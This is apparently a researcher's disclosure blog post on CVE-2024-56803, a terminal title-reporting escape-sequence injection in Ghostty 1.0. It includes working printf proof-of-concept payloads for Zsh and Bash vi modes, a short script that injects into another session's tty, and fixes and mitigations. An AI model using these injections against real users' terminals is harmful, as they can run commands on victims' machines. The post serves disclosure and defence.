Exploring a security bug in Ghostty that is eerily familiar.
As I've spoken and written about all modern terminals are actually "emulating" something dating from the 1970s.
The full details are surprisingly complex and having a standard building block for these things is important. We can probably do better, but it's hard to change something so fundamental.
In Feburary 2003 HD Moore published a paper to bugtraq called "Terminal Emulator Security Issues".
On the 26th December 2024 Mitchell Hashimoto released Ghostty 1.0. A new terminal emulator. The name even has a little nod to the "tty" of old. I instantly tried it out and ran my terminal tester on it:
Oh dear.
That 2003 CVE is indeed the one HD Moore found many years ago. The new issue has been assigned CVE-2024-56803.
Why are we here again?
First of all, given the number of terminals which have been affected by this, this is clearly a fundamental issue.
The fundamental problem is that terminals use in-band signalling, that is the ASCII escape character escapes from the mode the terminal is usually in (printing text) and starts handling the input to it as something else. These other things are known as escape sequences and they can change the colour or ask the terminal to do various control things.
One of those control things is setting the title. That's useful, when you run
cd
in your shell, it's quite nice the title of the window or tab updates so
you know which directory a particular terminal is in. However there is also a
sequence to query the title. These "query" sequences are particularly
problematic when combined with the in-band signalling nature of a terminal, if
the program running inside the terminal does not expect a reply at that moment,
it may handle it differently, or even treat it as user input.
In general any reply where the user can control the data should be considered very carefully. Most terminals therefore disable title reporting by default or even don't implement it. (A recent iTerm2 bug was a regression around the configuration option itself to disable it.)
In 2022 I discovered a bug in xterm where the font query could be used to inject user controllable text. This only worked on Zsh and made use of the fact the "Escape" used as part of the escape sequence is also the key you press to leave insert mode and enter the Vi normal mode.
The Ghostty variant
It turns out with Ghostty we can do something very similar to the xterm issue, in Zsh with vi mode enabled (set -o vi
), simply outputting this sequence to the screen:
printf '\e]0;iopen -a Calculator\a\e[21t\e]0;:accept-line\a\e[21t'
Results in it opening calculator (on macOS):
All released versions of Zsh have a behaviour that they default the keymap to vi if the $EDITOR
or $VISUAL
environment variables contain "vi". So this is quite a common setup for users. This default has been removed after Zsh 5.9, but that is not yet released.
Bash with set -o vi
:
printf '\e]0;iopen -a Calculator\a\e[21t\e]0;vZZ\a\e[21t'
Unlike Zsh this setting does have to be enabled by the user, so is likely to be a less common configuration.
But is this an RCE?
Spoiler: Yes
One aspect of this attack that isn't immediately clear is the input goes via your terminal, so it's like you typed it, even if you're connected to a remote system via SSH. If the remote system is compromised, it can decide it isn't interested in your input and make it get buffered, with it probably getting delivered locally.
We can demonstrate this with a simple script that stops the shell. In this case I run it as another session of the user, but it could also be run via root on a remote system if the system is compromised.
The "disconnect-ghosty" script used in the demo is below:
#!/bin/bash
# David Leadbeater, 2024. http://©.st/dgl
pid=${1:?$'\e'"[GUsage: $0 pid-of-shell"}
tty="/dev/$(ps -otty -p$pid | tail -1)"
kill -STOP $pid
printf '\e]0;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxiopen -a Calculator\a\e[21t\e[21t\e]0;:accept-line\a\e[21t' > $tty
kill -9 $pid
Fixes and mitigations
Ghostty 1.0.1 is out now, fixing this (by making it configurable and disabling it by default).
If for some reason you can't upgrade, the advisory has a workaround where a fixed title will not let an attacker control the value reported back.
An alternative is to put the following in your ~/.zshrc
:
function skip-osc-sequence() {
local key
while read -sk key && (( $((#key)) != 0x1B && $((#key)) != 0x07 )); do
# empty body
done
if [[ $((#key)) = 27 ]]; then
# ^[\
read -sk key
fi
}
zle -N skip-osc-sequence
bindkey '\e]' skip-osc-sequence
This makes Zsh skip over OSC replies rather than treat them as input. This is only a mitigation and you should upgrade as there may still be cases where you could be attacked (e.g. with the remote attack over SSH, careful timing could lead to a "torn" read that may mean the local shell doesn't see the start of the OSC sequence). It also doesn't hurt to leave in your config, as it provides defense-in-depth.
Or if using bash, put this in ~/.inputrc
:
"\e]": skip-csi-sequence
"\e\\": skip-csi-sequence
This isn't as complete as the Zsh mitigation, as you could still be blindly tricked to press Enter and run an unexpected command, but it works for this particular issue in Ghostty.
Please don't see this post as any kind of attack against Ghostty, remember it just had a 1.0 release. I've been using it and I'm writing this very post in it. The "terminal inspector" is very nice for people interested in diving into the internals of their terminal. Thanks to Mitchell for the quick fix.
If you want to see more on this subject you might like my Microsoft BlueHat talk from 2023, or my longer in depth post on various issues with terminals.